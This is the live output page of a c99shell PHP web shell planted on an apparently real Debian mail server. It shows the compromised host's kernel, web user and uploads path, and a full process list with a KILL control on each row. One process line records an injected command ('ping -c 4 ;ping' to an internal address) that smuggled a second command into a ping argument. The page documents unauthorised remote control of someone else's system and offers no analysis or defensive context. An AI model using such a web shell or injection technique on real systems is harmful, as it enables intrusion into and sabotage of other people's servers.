Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/media/uploads/ drwxrwxr-x |
Processes: | ||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||
root | 1596 | 0.0 | 0.0 29752 1080 ? S Jan21 0:00 /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1604 | 0.0 | 0.0 31980 1152 ? S Jan21 0:01 /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1605 | 0.0 | 0.0 31980 1156 ? S Jan21 0:01 /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1595 | 0.0 | 0.0 6132 384 ? S Jan21 0:00 /usr/sbin/courierlogger -pid=/var/run/courier/authdaemon/pid -start /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1548 | 0.0 | 0.0 0 0 ? S< Jan21 0:00 [krfcommd] | KILL | ||||||||||||||||||||||||
root | 1522 | 0.0 | 0.1 95784 7300 tty7 Ss+ Jan21 28:49 /usr/bin/X :0 -audit 0 -auth /var/lib/gdm/:0.Xauth -nolisten tcp vt7 | KILL | ||||||||||||||||||||||||
root | 1535 | 0.0 | 0.0 29308 944 ? Ss Jan21 0:00 /usr/sbin/bluetoothd | KILL | ||||||||||||||||||||||||
root | 1538 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [bluetooth] | KILL | ||||||||||||||||||||||||
root | 1606 | 0.0 | 0.0 31980 1140 ? S Jan21 0:01 /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1607 | 0.0 | 0.0 31980 1156 ? S Jan21 0:01 /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1642 | 0.0 | 0.0 6132 296 ? S Jan21 0:00 /usr/sbin/courierlogger -pid=/var/run/courier/pop3d.pid -start -name=pop3d /usr/sbin/couriertcpd -maxprocs=40 -maxperip=4 -nodnslookup -noidentlookup -address=0 110 /usr/lib/courier/courier/courierpop3login /usr/lib/courier/courier/courierpop3d Maildir | KILL | ||||||||||||||||||||||||
root | 1643 | 0.0 | 0.0 10336 528 ? S Jan21 0:00 /usr/sbin/couriertcpd -maxprocs=40 -maxperip=4 -nodnslookup -noidentlookup -address=0 110 /usr/lib/courier/courier/courierpop3login /usr/lib/courier/courier/courierpop3d Maildir | KILL | ||||||||||||||||||||||||
root | 1655 | 0.0 | 0.0 6132 292 ? S Jan21 0:00 /usr/sbin/courierlogger -pid=/var/run/courier/pop3d-ssl.pid -start -name=pop3d-ssl /usr/sbin/couriertcpd -address=0 -maxprocs=40 -maxperip=4 -nodnslookup -noidentlookup 995 /usr/bin/couriertls -server -tcpd /usr/lib/courier/courier/courierpop3login /usr/lib/courier/courier/courierpop3d Maildir | KILL | ||||||||||||||||||||||||
root | 1631 | 0.0 | 0.0 10336 532 ? S Jan21 0:00 /usr/sbin/couriertcpd -address=0 -maxprocs=40 -maxperip=20 -nodnslookup -noidentlookup 993 /usr/bin/couriertls -server -tcpd /usr/lib/courier/courier/imaplogin /usr/bin/imapd Maildir | KILL | ||||||||||||||||||||||||
root | 1630 | 0.0 | 0.0 6132 292 ? S Jan21 0:00 /usr/sbin/courierlogger -pid=/var/run/courier/imapd-ssl.pid -start -name=imapd-ssl /usr/sbin/couriertcpd -address=0 -maxprocs=40 -maxperip=20 -nodnslookup -noidentlookup 993 /usr/bin/couriertls -server -tcpd /usr/lib/courier/courier/imaplogin /usr/bin/imapd Maildir | KILL | ||||||||||||||||||||||||
root | 1608 | 0.0 | 0.0 31980 1152 ? S Jan21 0:01 /usr/lib/courier/courier-authlib/authdaemond | KILL | ||||||||||||||||||||||||
root | 1612 | 0.0 | 0.0 6132 420 ? S Jan21 0:01 /usr/sbin/courierlogger -pid=/var/run/courier/imapd.pid -start -name=imapd /usr/sbin/couriertcpd -address=0 -maxprocs=40 -maxperip=20 -nodnslookup -noidentlookup 143 /usr/lib/courier/courier/imaplogin /usr/bin/imapd Maildir | KILL | ||||||||||||||||||||||||
root | 1613 | 0.0 | 0.0 10336 544 ? S Jan21 0:01 /usr/sbin/couriertcpd -address=0 -maxprocs=40 -maxperip=20 -nodnslookup -noidentlookup 143 /usr/lib/courier/courier/imaplogin /usr/bin/imapd Maildir | KILL | ||||||||||||||||||||||||
root | 1516 | 0.0 | 0.0 146728 1824 ? S Jan21 0:00 /usr/sbin/gdm | KILL | ||||||||||||||||||||||||
root | 1510 | 0.0 | 0.0 128020 1552 ? Ss Jan21 0:00 /usr/sbin/gdm | KILL | ||||||||||||||||||||||||
root | 903 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [radeon/0] | KILL | ||||||||||||||||||||||||
root | 904 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [radeon/1] | KILL | ||||||||||||||||||||||||
root | 905 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ttm_swap] | KILL | ||||||||||||||||||||||||
root | 1 | 0.0 0.0 8356 484 ? Ss Jan21 0:51 init [2] | KILL | |||||||||||||||||||||||||
root | 847 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [edac-poller] | KILL | ||||||||||||||||||||||||
root | 624 | 0.0 | 0.0 17272 276 ? S<s Jan21 0:00 udevd --daemon | KILL | ||||||||||||||||||||||||
root | 777 | 0.0 | 0.0 17268 196 ? S< Jan21 0:00 udevd --daemon | KILL | ||||||||||||||||||||||||
root | 778 | 0.0 | 0.0 17268 196 ? S< Jan21 0:00 udevd --daemon | KILL | ||||||||||||||||||||||||
root | 919 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [hd-audio0] | KILL | ||||||||||||||||||||||||
root | 1204 | 0.0 | 0.0 0 0 ? S Jan21 0:38 [kjournald] | KILL | ||||||||||||||||||||||||
101 | 1463 | 0.0 | 0.0 23416 764 ? Ss Jan21 0:00 /usr/bin/dbus-daemon --system | KILL | ||||||||||||||||||||||||
root | 1474 | 0.0 | 0.0 3920 460 ? Ss Jan21 0:00 /usr/sbin/acpid | KILL | ||||||||||||||||||||||||
root | 1490 | 0.0 | 0.3 185572 12632 ? Ss Jan21 2:21 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||||
root | 1433 | 0.0 | 0.0 54560 1688 ? Sl Jan21 0:10 /usr/sbin/rsyslogd -c4 | KILL | ||||||||||||||||||||||||
root | 1209 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ext4-dio-unwrit] | KILL | ||||||||||||||||||||||||
root | 1207 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [jbd2/md1-8] | KILL | ||||||||||||||||||||||||
root | 1208 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ext4-dio-unwrit] | KILL | ||||||||||||||||||||||||
root | 1656 | 0.0 | 0.0 10336 528 ? S Jan21 0:00 /usr/sbin/couriertcpd -address=0 -maxprocs=40 -maxperip=4 -nodnslookup -noidentlookup 995 /usr/bin/couriertls -server -tcpd /usr/lib/courier/courier/courierpop3login /usr/lib/courier/courier/courierpop3d Maildir | KILL | ||||||||||||||||||||||||
gdm | 1664 | 0.0 | 0.3 151324 14308 ? Ss Jan21 63:49 /usr/lib/gdm/gdmgreeter | KILL | ||||||||||||||||||||||||
root | 2084 | 0.0 | 0.0 5932 448 tty4 Ss+ Jan21 0:00 /sbin/getty 38400 tty4 | KILL | ||||||||||||||||||||||||
root | 2085 | 0.0 | 0.0 5932 448 tty5 Ss+ Jan21 0:00 /sbin/getty 38400 tty5 | KILL | ||||||||||||||||||||||||
root | 2086 | 0.0 | 0.0 5932 444 tty6 Ss+ Jan21 0:00 /sbin/getty 38400 tty6 | KILL | ||||||||||||||||||||||||
root | 2083 | 0.0 | 0.0 5932 436 tty3 Ss+ Jan21 0:00 /sbin/getty 38400 tty3 | KILL | ||||||||||||||||||||||||
root | 2082 | 0.0 | 0.0 5932 444 tty2 Ss+ Jan21 0:00 /sbin/getty 38400 tty2 | KILL | ||||||||||||||||||||||||
list | 2005 | 0.0 | 0.2 45048 8852 ? S Jan21 0:00 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=RetryRunner:0:1 -s | KILL | ||||||||||||||||||||||||
105 | 2051 | 0.0 | 0.0 83152 1480 ? Ss Jan21 0:31 /usr/sbin/exim4 -bd -q30m | KILL | ||||||||||||||||||||||||
root | 2081 | 0.0 | 0.0 5932 440 tty1 Ss+ Jan21 0:00 /sbin/getty 38400 tty1 | KILL | ||||||||||||||||||||||||
www-data | 4126 | 0.0 | 0.4 | 195508 | 16640 | ? | S 17:21 0:01 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 4127 | 0.0 | 0.4 | 195604 | 16156 | ? | S 17:21 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
root | 5513 | 0.0 | 0.0 0 0 ? S< Jan22 0:00 [kslowd000] | KILL | ||||||||||||||||||||||||
root | 5514 | 0.0 | 0.0 0 0 ? S< Jan22 0:00 [kslowd001] | KILL | ||||||||||||||||||||||||
www-data | 8259 | 0.0 | 0.0 | 14820 | 1040 ? R 19:11 0:00 ps -aux | KILL | ||||||||||||||||||||||
root | 5260 | 0.0 | 0.0 118260 2140 ? Sl Jan22 0:00 /usr/sbin/console-kit-daemon --no-daemon | KILL | ||||||||||||||||||||||||
www-data | 5054 | 0.0 | 0.3 | 187860 | 11956 | ? | S 18:57 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 4520 | 0.0 | 0.0 | 17496 | 1352 ? S Mar06 0:00 sh -c ping -c 4 ;ping 192.168.203.129 | KILL | ||||||||||||||||||||||
www-data | 4522 | 0.0 | 0.0 | 3956 | 592 ? S Mar06 1:03 ping 192.168.203.129 | KILL | ||||||||||||||||||||||
list | 2004 | 0.0 | 0.2 45060 8868 ? S Jan21 10:08 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=VirginRunner:0:1 -s | KILL | ||||||||||||||||||||||||
list | 2003 | 0.0 | 0.2 45440 9008 ? S Jan21 11:10 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=OutgoingRunner:0:1 -s | KILL | ||||||||||||||||||||||||
root | 1827 | 0.0 | 0.0 49180 972 ? Ss Jan21 0:09 /usr/sbin/sshd | KILL | ||||||||||||||||||||||||
root | 1832 | 0.0 | 0.0 63420 1692 ? Ss Jan21 2:00 /usr/sbin/nmbd -D | KILL | ||||||||||||||||||||||||
root | 1847 | 0.0 | 0.0 9140 840 ? S Jan21 0:00 /bin/sh /usr/bin/mysqld_safe | KILL | ||||||||||||||||||||||||
root | 1800 | 0.0 | 0.0 12804 620 ? Ss Jan21 0:01 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog | KILL | ||||||||||||||||||||||||
root | 1734 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [kconservative/1] | KILL | ||||||||||||||||||||||||
root | 1683 | 0.0 | 0.0 22428 792 ? Ss Jan21 0:10 /usr/sbin/cron | KILL | ||||||||||||||||||||||||
root | 1701 | 0.0 | 0.0 75484 2664 ? Ss Jan21 0:00 /usr/sbin/cupsd -C /etc/cups/cupsd.conf | KILL | ||||||||||||||||||||||||
root | 1733 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [kconservative/0] | KILL | ||||||||||||||||||||||||
root | 1869 | 0.0 | 0.0 93336 2116 ? Ss Jan21 0:00 /usr/sbin/smbd -D | KILL | ||||||||||||||||||||||||
root | 1955 | 0.0 | 0.0 93336 1192 ? S Jan21 0:00 /usr/sbin/smbd -D | KILL | ||||||||||||||||||||||||
list | 2000 | 0.0 | 0.2 45092 8856 ? S Jan21 10:09 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=CommandRunner:0:1 -s | KILL | ||||||||||||||||||||||||
list | 2001 | 0.0 | 0.2 45052 8868 ? S Jan21 10:10 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=IncomingRunner:0:1 -s | KILL | ||||||||||||||||||||||||
list | 2002 | 0.0 | 0.2 45104 8908 ? S Jan21 10:12 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=NewsRunner:0:1 -s | KILL | ||||||||||||||||||||||||
list | 1999 | 0.0 | 0.2 45140 8896 ? S Jan21 11:11 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=BounceRunner:0:1 -s | KILL | ||||||||||||||||||||||||
list | 1998 | 0.0 | 0.2 45052 8840 ? S Jan21 10:15 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=ArchRunner:0:1 -s | KILL | ||||||||||||||||||||||||
root | 1979 | 0.0 | 0.0 3856 468 ? S Jan21 0:00 logger -t mysqld -p daemon.error | KILL | ||||||||||||||||||||||||
list | 1981 | 0.0 | 0.1 53648 7852 ? Ss Jan21 0:00 /usr/bin/python /usr/lib/mailman/bin/mailmanctl -s -q start | KILL | ||||||||||||||||||||||||
root | 487 | 0.0 | 0.0 0 0 ? S Jan21 9:11 [kjournald] | KILL | ||||||||||||||||||||||||
root | 859 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [kpsmoused] | KILL | ||||||||||||||||||||||||
root | 28 | 0.0 0.0 0 0 ? S Jan21 17:17 [kondemand/0] | KILL | |||||||||||||||||||||||||
root | 29 | 0.0 0.0 0 0 ? S Jan21 17:24 [kondemand/1] | KILL | |||||||||||||||||||||||||
root | 55 | 0.0 0.0 0 0 ? S Jan21 0:01 [khungtaskd] | KILL | |||||||||||||||||||||||||
root | 25 | 0.0 0.0 0 0 ? S Jan21 0:00 [kseriod] | KILL | |||||||||||||||||||||||||
root | 24 | 0.0 0.0 0 0 ? S Jan21 0:00 [kacpi_hotplug] | KILL | |||||||||||||||||||||||||
root | 21 | 0.0 0.0 0 0 ? S Jan21 3:42 [kblockd/1] | KILL | |||||||||||||||||||||||||
root | 22 | 0.0 0.0 0 0 ? S Jan21 0:00 [kacpid] | KILL | |||||||||||||||||||||||||
root | 23 | 0.0 0.0 0 0 ? S Jan21 0:00 [kacpi_notify] | KILL | |||||||||||||||||||||||||
root | 56 | 0.0 0.0 0 0 ? S Jan21 10:52 [kswapd0] | KILL | |||||||||||||||||||||||||
root | 57 | 0.0 0.0 0 0 ? SN Jan21 0:00 [ksmd] | KILL | |||||||||||||||||||||||||
root | 469 | 0.7 | 0.0 0 0 ? S Jan21 525:14 [md1_raid1] | KILL | ||||||||||||||||||||||||
root | 286 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ata/0] | KILL | ||||||||||||||||||||||||
root | 287 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ata/1] | KILL | ||||||||||||||||||||||||
root | 283 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ksuspend_usbd] | KILL | ||||||||||||||||||||||||
root | 61 | 0.0 0.0 0 0 ? S Jan21 0:00 [crypto/1] | KILL | |||||||||||||||||||||||||
root | 58 | 0.0 0.0 0 0 ? S Jan21 0:00 [aio/0] | KILL | |||||||||||||||||||||||||
root | 59 | 0.0 0.0 0 0 ? S Jan21 0:00 [aio/1] | KILL | |||||||||||||||||||||||||
root | 60 | 0.0 0.0 0 0 ? S Jan21 0:00 [crypto/0] | KILL | |||||||||||||||||||||||||
root | 20 | 0.0 0.0 0 0 ? S Jan21 0:05 [kblockd/0] | KILL | |||||||||||||||||||||||||
root | 19 | 0.0 0.0 0 0 ? S Jan21 0:00 [kintegrityd/1] | KILL | |||||||||||||||||||||||||
root | 7 | 0.0 0.0 0 0 ? S Jan21 9:06 [ksoftirqd/1] | KILL | |||||||||||||||||||||||||
root | 8 | 0.0 0.0 0 0 ? S Jan21 0:00 [watchdog/1] | KILL | |||||||||||||||||||||||||
root | 9 | 0.0 0.0 0 0 ? S Jan21 0:48 [events/0] | KILL | |||||||||||||||||||||||||
root | 6 | 0.0 0.0 0 0 ? S Jan21 0:01 [migration/1] | KILL | |||||||||||||||||||||||||
root | 5 | 0.0 0.0 0 0 ? S Jan21 0:00 [watchdog/0] | KILL | |||||||||||||||||||||||||
root | 2 | 0.0 0.0 0 0 ? S Jan21 0:00 [kthreadd] | KILL | |||||||||||||||||||||||||
root | 3 | 0.0 0.0 0 0 ? S Jan21 0:01 [migration/0] | KILL | |||||||||||||||||||||||||
root | 4 | 0.0 0.0 0 0 ? S Jan21 3:50 [ksoftirqd/0] | KILL | |||||||||||||||||||||||||
root | 10 | 0.0 0.0 0 0 ? S Jan21 1:22 [events/1] | KILL | |||||||||||||||||||||||||
root | 11 | 0.0 0.0 0 0 ? S Jan21 0:00 [cpuset] | KILL | |||||||||||||||||||||||||
root | 16 | 0.0 0.0 0 0 ? S Jan21 0:06 [sync_supers] | KILL | |||||||||||||||||||||||||
root | 17 | 0.0 0.0 0 0 ? S Jan21 0:08 [bdi-default] | KILL | |||||||||||||||||||||||||
root | 18 | 0.0 0.0 0 0 ? S Jan21 0:00 [kintegrityd/0] | KILL | |||||||||||||||||||||||||
root | 15 | 0.0 0.0 0 0 ? S Jan21 0:00 [pm] | KILL | |||||||||||||||||||||||||
root | 14 | 0.0 0.0 0 0 ? S Jan21 0:00 [async/mgr] | KILL | |||||||||||||||||||||||||
root | 12 | 0.0 0.0 0 0 ? S Jan21 0:00 [khelper] | KILL | |||||||||||||||||||||||||
root | 13 | 0.0 0.0 0 0 ? S Jan21 0:00 [netns] | KILL | |||||||||||||||||||||||||
root | 288 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [ata_aux] | KILL | ||||||||||||||||||||||||
root | 284 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [khubd] | KILL | ||||||||||||||||||||||||
root | 324 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_23] | KILL | ||||||||||||||||||||||||
root | 325 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_24] | KILL | ||||||||||||||||||||||||
root | 326 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_25] | KILL | ||||||||||||||||||||||||
root | 323 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_22] | KILL | ||||||||||||||||||||||||
root | 322 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_21] | KILL | ||||||||||||||||||||||||
root | 319 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_18] | KILL | ||||||||||||||||||||||||
root | 320 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_19] | KILL | ||||||||||||||||||||||||
root | 292 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_0] | KILL | ||||||||||||||||||||||||
root | 327 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_26] | KILL | ||||||||||||||||||||||||
root | 328 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_27] | KILL | ||||||||||||||||||||||||
root | 377 | 0.0 | 0.0 0 0 ? S Jan21 11:23 [usb-storage] | KILL | ||||||||||||||||||||||||
root | 383 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [usbhid_resumer] | KILL | ||||||||||||||||||||||||
root | 459 | 0.1 | 0.0 0 0 ? S Jan21 136:58 [md0_raid1] | KILL | ||||||||||||||||||||||||
root | 376 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_31] | KILL | ||||||||||||||||||||||||
root | 373 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [usb-storage] | KILL | ||||||||||||||||||||||||
root | 329 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_28] | KILL | ||||||||||||||||||||||||
root | 330 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_29] | KILL | ||||||||||||||||||||||||
root | 372 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_30] | KILL | ||||||||||||||||||||||||
root | 318 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_17] | KILL | ||||||||||||||||||||||||
root | 321 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_20] | KILL | ||||||||||||||||||||||||
root | 308 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_7] | KILL | ||||||||||||||||||||||||
root | 309 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_8] | KILL | ||||||||||||||||||||||||
root | 310 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_9] | KILL | ||||||||||||||||||||||||
root | 303 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_5] | KILL | ||||||||||||||||||||||||
root | 302 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_4] | KILL | ||||||||||||||||||||||||
root | 293 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_1] | KILL | ||||||||||||||||||||||||
root | 294 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_2] | KILL | ||||||||||||||||||||||||
root | 295 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_3] | KILL | ||||||||||||||||||||||||
root | 311 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_10] | KILL | ||||||||||||||||||||||||
root | 307 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_6] | KILL | ||||||||||||||||||||||||
root | 315 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_14] | KILL | ||||||||||||||||||||||||
root | 317 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_16] | KILL | ||||||||||||||||||||||||
root | 312 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_11] | KILL | ||||||||||||||||||||||||
root | 314 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_13] | KILL | ||||||||||||||||||||||||
root | 316 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_15] | KILL | ||||||||||||||||||||||||
root | 313 | 0.0 | 0.0 0 0 ? S Jan21 0:00 [scsi_eh_12] | KILL | ||||||||||||||||||||||||
www-data | 15291 | 0.0 | 0.2 | 187144 | 10784 | ? | S 18:52 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 15289 | 0.0 | 0.3 | 191508 | 15000 | ? | S 18:52 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 10893 | 0.0 | 0.4 | 195648 | 16544 | ? | S 16:47 0:01 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 29188 | 0.0 | 0.4 | 195640 | 16152 | ? | S 17:27 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 17274 | 0.0 | 0.4 | 195252 | 16344 | ? | S 06:24 0:08 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 21773 | 0.0 | 0.4 | 195888 | 16732 | ? | S 15:46 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
www-data | 10878 | 0.0 | 0.5 | 198804 | 23052 | ? | S 16:42 0:02 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||
avahi | 1525 | 0.0 | 0.0 | 33952 1248 ? S Jan21 2:11 avahi-daemon: running [mail.local] | KILL | |||||||||||||||||||||||
avahi | 1526 | 0.0 | 0.0 | 33764 396 ? S Jan21 0:00 avahi-daemon: chroot helper | KILL | |||||||||||||||||||||||
mysql | 1978 | 0.9 | 0.9 | 302640 37900 ? Sl Jan21 696:21 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 | KILL | |||||||||||||||||||||||
root | 17004 | 0.0 | 0.0 | 0 0 ? S Jan26 3:37 [flush-8:0] | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0638 ]-- |